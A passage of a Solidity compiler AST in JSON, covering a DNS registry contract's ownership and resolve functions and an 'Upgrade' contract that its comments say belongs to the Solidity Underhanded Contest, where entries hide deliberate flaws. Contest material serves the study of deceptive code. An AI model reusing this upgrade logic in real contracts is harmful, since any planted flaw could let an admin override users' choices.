payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1676,"name":"Identifier","src":"1631:3:5"}],"id":1677,"name":"MemberAccess","src":"1631:10:5"}],"id":1678,"name":"BinaryOperation","src":"1616:25:5"}],"id":1679,"name":"BinaryOperation","src":"1589:52:5"}],"id":1680,"name":"TupleExpression","src":"1588:54:5"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":1681,"name":"Literal","src":"1647:16:5"}],"id":1682,"name":"FunctionCall","src":"1576:91:5"}],"id":1683,"name":"ExpressionStatement","src":"1576:91:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664","typeString":"literal_string \"Invalid owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1684,"name":"Identifier","src":"1672:7:5"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1658,"type":"address","value":"_owner"},"id":1685,"name":"Identifier","src":"1680:6:5"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1686,"name":"ElementaryTypeName","src":"1690:7:5"}],"id":1687,"name":"ElementaryTypeNameExpression","src":"1690:7:5"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1688,"name":"Literal","src":"1698:1:5"}],"id":1689,"name":"FunctionCall","src":"1690:10:5"}],"id":1690,"name":"BinaryOperation","src":"1680:20:5"},{"attributes":{"hexvalue":"496e76616c6964206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid owner.\"","value":"Invalid owner."},"id":1691,"name":"Literal","src":"1702:16:5"}],"id":1692,"name":"FunctionCall","src":"1672:47:5"}],"id":1693,"name":"ExpressionStatement","src":"1672:47:5"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1663,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":1694,"name":"Identifier","src":"1723:5:5"}],"id":1696,"name":"MemberAccess","src":"1723:11:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1658,"type":"address","value":"_owner"},"id":1697,"name":"Identifier","src":"1737:6:5"}],"id":1698,"name":"Assignment","src":"1723:20:5"}],"id":1699,"name":"ExpressionStatement","src":"1723:20:5"}],"id":1700,"name":"Block","src":"1365:382:5"}],"id":1701,"name":"FunctionDefinition","src":"1290:457:5"},{"attributes":{"baseFunctions":[1461],"functionSelector":"461a4478","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"resolve","scope":1723,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":1705,"name":"OverrideSpecifier","src":"1804:8:5"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":1722,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":1702,"name":"ElementaryTypeName","src":"1767:6:5"}],"id":1703,"name":"VariableDeclaration","src":"1767:21:5"}],"id":1704,"name":"ParameterList","src":"1766:23:5"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1722,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":1706,"name":"ElementaryTypeName","src":"1822:6:5"}],"id":1707,"name":"VariableDeclaration","src":"1822:6:5"},{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1722,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1708,"name":"ElementaryTypeName","src":"1830:7:5"}],"id":1709,"name":"VariableDeclaration","src":"1830:7:5"}],"id":1710,"name":"ParameterList","src":"1821:17:5"},{"children":[{"attributes":{"functionReturnParameters":1710},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1711,"name":"Identifier","src":"1851:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1703,"type":"string memory","value":"_domain"},"id":1712,"name":"Identifier","src":"1856:7:5"}],"id":1713,"name":"IndexAccess","src":"1851:13:5"}],"id":1714,"name":"MemberAccess","src":"1851:16:5"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1473,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":1715,"name":"Identifier","src":"1869:4:5"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1703,"type":"string memory","value":"_domain"},"id":1716,"name":"Identifier","src":"1874:7:5"}],"id":1717,"name":"IndexAccess","src":"1869:13:5"}],"id":1718,"name":"MemberAccess","src":"1869:19:5"}],"id":1719,"name":"TupleExpression","src":"1850:39:5"}],"id":1720,"name":"Return","src":"1843:46:5"}],"id":1721,"name":"Block","src":"1839:54:5"}],"id":1722,"name":"FunctionDefinition","src":"1750:143:5"}],"id":1723,"name":"ContractDefinition","src":"141:1754:5"}],"id":1724,"name":"SourceUnit","src":"36:1860:5"}},"src/Upgrade.sol":{"AST":{"attributes":{"absolutePath":"src/Upgrade.sol","exportedSymbols":{"IDNS":[1462],"Upgrade":[2050]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":1725,"name":"PragmaDirective","src":"36:23:6"},{"attributes":{"literals":["experimental","ABIEncoderV2"]},"id":1726,"name":"PragmaDirective","src":"60:33:6"},{"attributes":{"SourceUnit":1463,"absolutePath":"src/IDNS.sol","file":"./IDNS.sol","scope":2051,"symbolAliases":[null],"unitAlias":""},"id":1727,"name":"ImportDirective","src":"95:20:6"},{"attributes":{"abstract":false,"baseContracts":[null],"contractDependencies":[null],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[2050],"name":"Upgrade","scope":2051},"children":[{"attributes":{"text":"@title This contract is the upgrade mechanism object of the Solidity Underhanded Contest.\n @notice It tracks the history of upgrades and opt outs and ins of users per upgrade."},"id":1728,"name":"StructuredDocumentation","src":"117:183:6"},{"attributes":{"canonicalName":"Upgrade.Opt","name":"Opt"},"children":[{"attributes":{"name":"Out"},"id":1729,"name":"EnumValue","src":"531:3:6"},{"attributes":{"name":"In"},"id":1730,"name":"EnumValue","src":"536:2:6"}],"id":1731,"name":"EnumDefinition","src":"521:18:6"},{"attributes":{"canonicalName":"Upgrade.UpgradeConfig","name":"UpgradeConfig","scope":2050,"visibility":"public"},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"userOpt","scope":1740,"stateVariable":false,"storageLocation":"default","type":"mapping(address => enum Upgrade.Opt)","visibility":"internal"},"children":[{"attributes":{"type":"mapping(address => enum Upgrade.Opt)"},"children":[{"attributes":{"name":"address","type":"address"},"id":1732,"name":"ElementaryTypeName","src":"576:7:6"},{"attributes":{"name":"Opt","referencedDeclaration":1731,"type":"enum Upgrade.Opt"},"id":1733,"name":"UserDefinedTypeName","src":"587:3:6"}],"id":1734,"name":"Mapping","src":"567:24:6"}],"id":1735,"name":"VariableDeclaration","src":"567:32:6"},{"attributes":{"constant":false,"mutability":"mutable","name":"when","scope":1740,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1736,"name":"ElementaryTypeName","src":"603:4:6"}],"id":1737,"name":"VariableDeclaration","src":"603:9:6"},{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":1740,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1738,"name":"UserDefinedTypeName","src":"616:4:6"}],"id":1739,"name":"VariableDeclaration","src":"616:7:6"}],"id":1740,"name":"StructDefinition","src":"542:85:6"},{"attributes":{"constant":false,"functionSelector":"7386bbc5","mutability":"mutable","name":"upgrades","scope":2050,"stateVariable":true,"storageLocation":"default","type":"struct Upgrade.UpgradeConfig[]","visibility":"public"},"children":[{"attributes":{"type":"struct Upgrade.UpgradeConfig[]"},"children":[{"attributes":{"name":"UpgradeConfig","referencedDeclaration":1740,"type":"struct Upgrade.UpgradeConfig"},"id":1742,"name":"UserDefinedTypeName","src":"1067:13:6"}],"id":1743,"name":"ArrayTypeName","src":"1067:15:6"},{"attributes":{"text":"@notice History of upgrades performed by this engine, which remain alive since\n different users might opt-in different upgrades.\n- An upgrade is currently planned if there is an element in the array and\n its `when` is in the future.\n - There cannot be two planned upgrades at the same time.\n - A user can opt-in multiple upgrades throughout time. The latest upgrade a user\n opted-in is their active upgrade."},"id":1741,"name":"StructuredDocumentation","src":"630:435:6"}],"id":1744,"name":"VariableDeclaration","src":"1067:31:6"},{"attributes":{"constant":false,"functionSelector":"f851a440","mutability":"immutable","name":"admin","scope":2050,"stateVariable":true,"storageLocation":"default","type":"address","visibility":"public"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1746,"name":"ElementaryTypeName","src":"1268:7:6"},{"attributes":{"text":"@notice Upgrade admin.\n Can only suggest new upgrades and cancel planned upgrades,\n but cannot change users options neither change the upgrades history."},"id":1745,"name":"StructuredDocumentation","src":"1102:164:6"}],"id":1747,"name":"VariableDeclaration","src":"1268:30:6"},{"attributes":{"name":"onlyAdmin","virtual":false,"visibility":"internal"},"children":[{"attributes":{"text":"@dev Used by `newUpgrade` and `cancelUpgrade`."},"id":1748,"name":"StructuredDocumentation","src":"1302:50:6"},{"attributes":{"parameters":[null]},"children":[],"id":1749,"name":"ParameterList","src":"1373:0:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool) pure","value":"require"},"id":1750,"name":"Identifier","src":"1377:7:6"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1751,"name":"Identifier","src":"1385:3:6"}],"id":1752,"name":"MemberAccess","src":"1385:10:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1747,"type":"address","value":"admin"},"id":1753,"name":"Identifier","src":"1399:5:6"}],"id":1754,"name":"BinaryOperation","src":"1385:19:6"}],"id":1755,"name":"FunctionCall","src":"1377:28:6"}],"id":1756,"name":"ExpressionStatement","src":"1377:28:6"},{"id":1757,"name":"PlaceholderStatement","src":"1409:1:6"}],"id":1758,"name":"Block","src":"1373:41:6"}],"id":1759,"name":"ModifierDefinition","src":"1354:60:6"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":2050,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"attributes":{"text":"@dev Sets the deployer as the upgrade admin."},"id":1760,"name":"StructuredDocumentation","src":"1417:48:6"},{"attributes":{"parameters":[null]},"children":[],"id":1761,"name":"ParameterList","src":"1478:2:6"},{"attributes":{"parameters":[null]},"children":[],"id":1762,"name":"ParameterList","src":"1481:0:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1747,"type":"address","value":"admin"},"id":1763,"name":"Identifier","src":"1485:5:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1764,"name":"Identifier","src":"1493:3:6"}],"id":1765,"name":"MemberAccess","src":"1493:10:6"}],"id":1766,"name":"Assignment","src":"1485:18:6"}],"id":1767,"name":"ExpressionStatement","src":"1485:18:6"}],"id":1768,"name":"Block","src":"1481:26:6"}],"id":1769,"name":"FunctionDefinition","src":"1467:40:6"},{"attributes":{"functionSelector":"b1d6d39d","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"opt","scope":2050,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Allows a user to opt in or out the current planned upgrade."},"id":1770,"name":"StructuredDocumentation","src":"1510:71:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_opt","scope":1799,"stateVariable":false,"storageLocation":"default","type":"enum Upgrade.Opt","visibility":"internal"},"children":[{"attributes":{"name":"Opt","referencedDeclaration":1731,"type":"enum Upgrade.Opt"},"id":1771,"name":"UserDefinedTypeName","src":"1596:3:6"}],"id":1772,"name":"VariableDeclaration","src":"1596:8:6"}],"id":1773,"name":"ParameterList","src":"1595:10:6"},{"attributes":{"parameters":[null]},"children":[],"id":1774,"name":"ParameterList","src":"1615:0:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_080f5523ed98807068933c5d7976457b8033a8121e1f53db7a253cac091f5549","typeString":"literal_string \"Cannot opt non planned upgrade.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":1775,"name":"Identifier","src":"1619:7:6"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2049,"type":"function () view returns (bool)","value":"upgradePlanned"},"id":1776,"name":"Identifier","src":"1627:14:6"}],"id":1777,"name":"FunctionCall","src":"1627:16:6"},{"attributes":{"hexvalue":"43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Cannot opt non planned upgrade.\"","value":"Cannot opt non planned upgrade."},"id":1778,"name":"Literal","src":"1645:33:6"}],"id":1779,"name":"FunctionCall","src":"1619:60:6"}],"id":1780,"name":"ExpressionStatement","src":"1619:60:6"},{"attributes":{"assignments":[1782]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"l","scope":1798,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1781,"name":"ElementaryTypeName","src":"1683:4:6"}],"id":1782,"name":"VariableDeclaration","src":"1683:6:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1783,"name":"Identifier","src":"1692:8:6"}],"id":1784,"name":"MemberAccess","src":"1692:15:6"}],"id":1785,"name":"VariableDeclarationStatement","src":"1683:24:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"enum Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"enum Upgrade.Opt"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"userOpt","referencedDeclaration":1735,"type":"mapping(address => enum Upgrade.Opt)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1786,"name":"Identifier","src":"1711:8:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1782,"type":"uint256","value":"l"},"id":1787,"name":"Identifier","src":"1720:1:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1788,"name":"Literal","src":"1724:1:6"}],"id":1789,"name":"BinaryOperation","src":"1720:5:6"}],"id":1790,"name":"IndexAccess","src":"1711:15:6"}],"id":1791,"name":"MemberAccess","src":"1711:23:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":1792,"name":"Identifier","src":"1735:3:6"}],"id":1793,"name":"MemberAccess","src":"1735:10:6"}],"id":1794,"name":"IndexAccess","src":"1711:35:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1772,"type":"enum Upgrade.Opt","value":"_opt"},"id":1795,"name":"Identifier","src":"1749:4:6"}],"id":1796,"name":"Assignment","src":"1711:42:6"}],"id":1797,"name":"ExpressionStatement","src":"1711:42:6"}],"id":1798,"name":"Block","src":"1615:142:6"}],"id":1799,"name":"FunctionDefinition","src":"1583:174:6"},{"attributes":{"functionSelector":"90b60de9","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"activeUpgrade","scope":2050,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"text":"@notice Search backwards for the latest upgrade that _user opted-in.\n Does not consider the currently planned upgrade, if any.\n @return (false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\n @return (true, ) if user opted-in at least once, and that upgrade became active."},"id":1800,"name":"StructuredDocumentation","src":"1760:345:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_user","scope":1886,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":1801,"name":"ElementaryTypeName","src":"2130:7:6"}],"id":1802,"name":"VariableDeclaration","src":"2130:13:6"}],"id":1803,"name":"ParameterList","src":"2129:15:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1886,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":1804,"name":"ElementaryTypeName","src":"2168:4:6"}],"id":1805,"name":"VariableDeclaration","src":"2168:4:6"},{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":1886,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":1806,"name":"UserDefinedTypeName","src":"2174:4:6"}],"id":1807,"name":"VariableDeclaration","src":"2174:4:6"}],"id":1808,"name":"ParameterList","src":"2167:12:6"},{"children":[{"attributes":{"assignments":[1810]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"l","scope":1885,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1809,"name":"ElementaryTypeName","src":"2184:4:6"}],"id":1810,"name":"VariableDeclaration","src":"2184:6:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":1811,"name":"Identifier","src":"2193:8:6"}],"id":1812,"name":"MemberAccess","src":"2193:15:6"}],"id":1813,"name":"VariableDeclarationStatement","src":"2184:24:6"},{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1810,"type":"uint256","value":"l"},"id":1814,"name":"Identifier","src":"2240:1:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1815,"name":"Literal","src":"2245:1:6"}],"id":1816,"name":"BinaryOperation","src":"2240:6:6"},{"attributes":{"functionReturnParameters":1808},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1817,"name":"Literal","src":"2259:5:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1818,"name":"Identifier","src":"2266:4:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1819,"name":"Literal","src":"2271:1:6"}],"id":1820,"name":"FunctionCall","src":"2266:7:6"}],"id":1821,"name":"TupleExpression","src":"2258:16:6"}],"id":1822,"name":"Return","src":"2251:23:6"}],"id":1823,"name":"IfStatement","src":"2236:38:6"},{"attributes":{},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2049,"type":"function () view returns (bool)","value":"upgradePlanned"},"id":1824,"name":"Identifier","src":"2283:14:6"}],"id":1825,"name":"FunctionCall","src":"2283:16:6"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":-3,"type":"function (bool) pure","value":"assert"},"id":1826,"name":"Identifier","src":"2308:6:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1810,"type":"uint256","value":"l"},"id":1827,"name":"Identifier","src":"2315:1:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1828,"name":"Literal","src":"2320:1:6"}],"id":1829,"name":"BinaryOperation","src":"2315:6:6"}],"id":1830,"name":"FunctionCall","src":"2308:14:6"}],"id":1831,"name":"ExpressionStatement","src":"2308:14:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"--","prefix":true,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1810,"type":"uint256","value":"l"},"id":1832,"name":"Identifier","src":"2329:1:6"}],"id":1833,"name":"UnaryOperation","src":"2327:3:6"}],"id":1834,"name":"ExpressionStatement","src":"2327:3:6"}],"id":1835,"name":"Block","src":"2303:32:6"}],"id":1836,"name":"IfStatement","src":"2279:56:6"},{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1810,"type":"uint256","value":"l"},"id":1837,"name":"Identifier","src":"2368:1:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1838,"name":"Literal","src":"2373:1:6"}],"id":1839,"name":"BinaryOperation","src":"2368:6:6"},{"attributes":{"functionReturnParameters":1808},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"hexvalue":"66616c7365","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"false"},"id":1840,"name":"Literal","src":"2387:5:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1841,"name":"Identifier","src":"2394:4:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1842,"name":"Literal","src":"2399:1:6"}],"id":1843,"name":"FunctionCall","src":"2394:7:6"}],"id":1844,"name":"TupleExpression","src":"2386:16:6"}],"id":1845,"name":"Return","src":"2379:23:6"}],"id":1846,"name":"IfStatement","src":"2364:38:6"},{"children":[{"attributes":{"assignments":[1848]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"idx","scope":1878,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":1847,"name":"ElementaryTypeName","src":"2412:4:6"}],"id":1848,"name":"VariableDeclaration","src":"2412:8:6"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1810,"type":"uint256","value":"l"},"id":1849,"name":"Identifier","src":"2423:1:6"}],"id":1850,"name":"VariableDeclarationStatement","src":"2412:12:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1848,"type":"uint256","value":"idx"},"id":1851,"name":"Identifier","src":"2426:3:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1852,"name":"Literal","src":"2432:1:6"}],"id":1853,"name":"BinaryOperation","src":"2426:7:6"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"--","prefix":true,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1848,"type":"uint256","value":"idx"},"id":1854,"name":"Identifier","src":"2437:3:6"}],"id":1855,"name":"UnaryOperation","src":"2435:5:6"}],"id":1856,"name":"ExpressionStatement","src":"2435:5:6"},{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_enum$_Opt_$1731","typeString":"enum Upgrade.Opt"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"enum 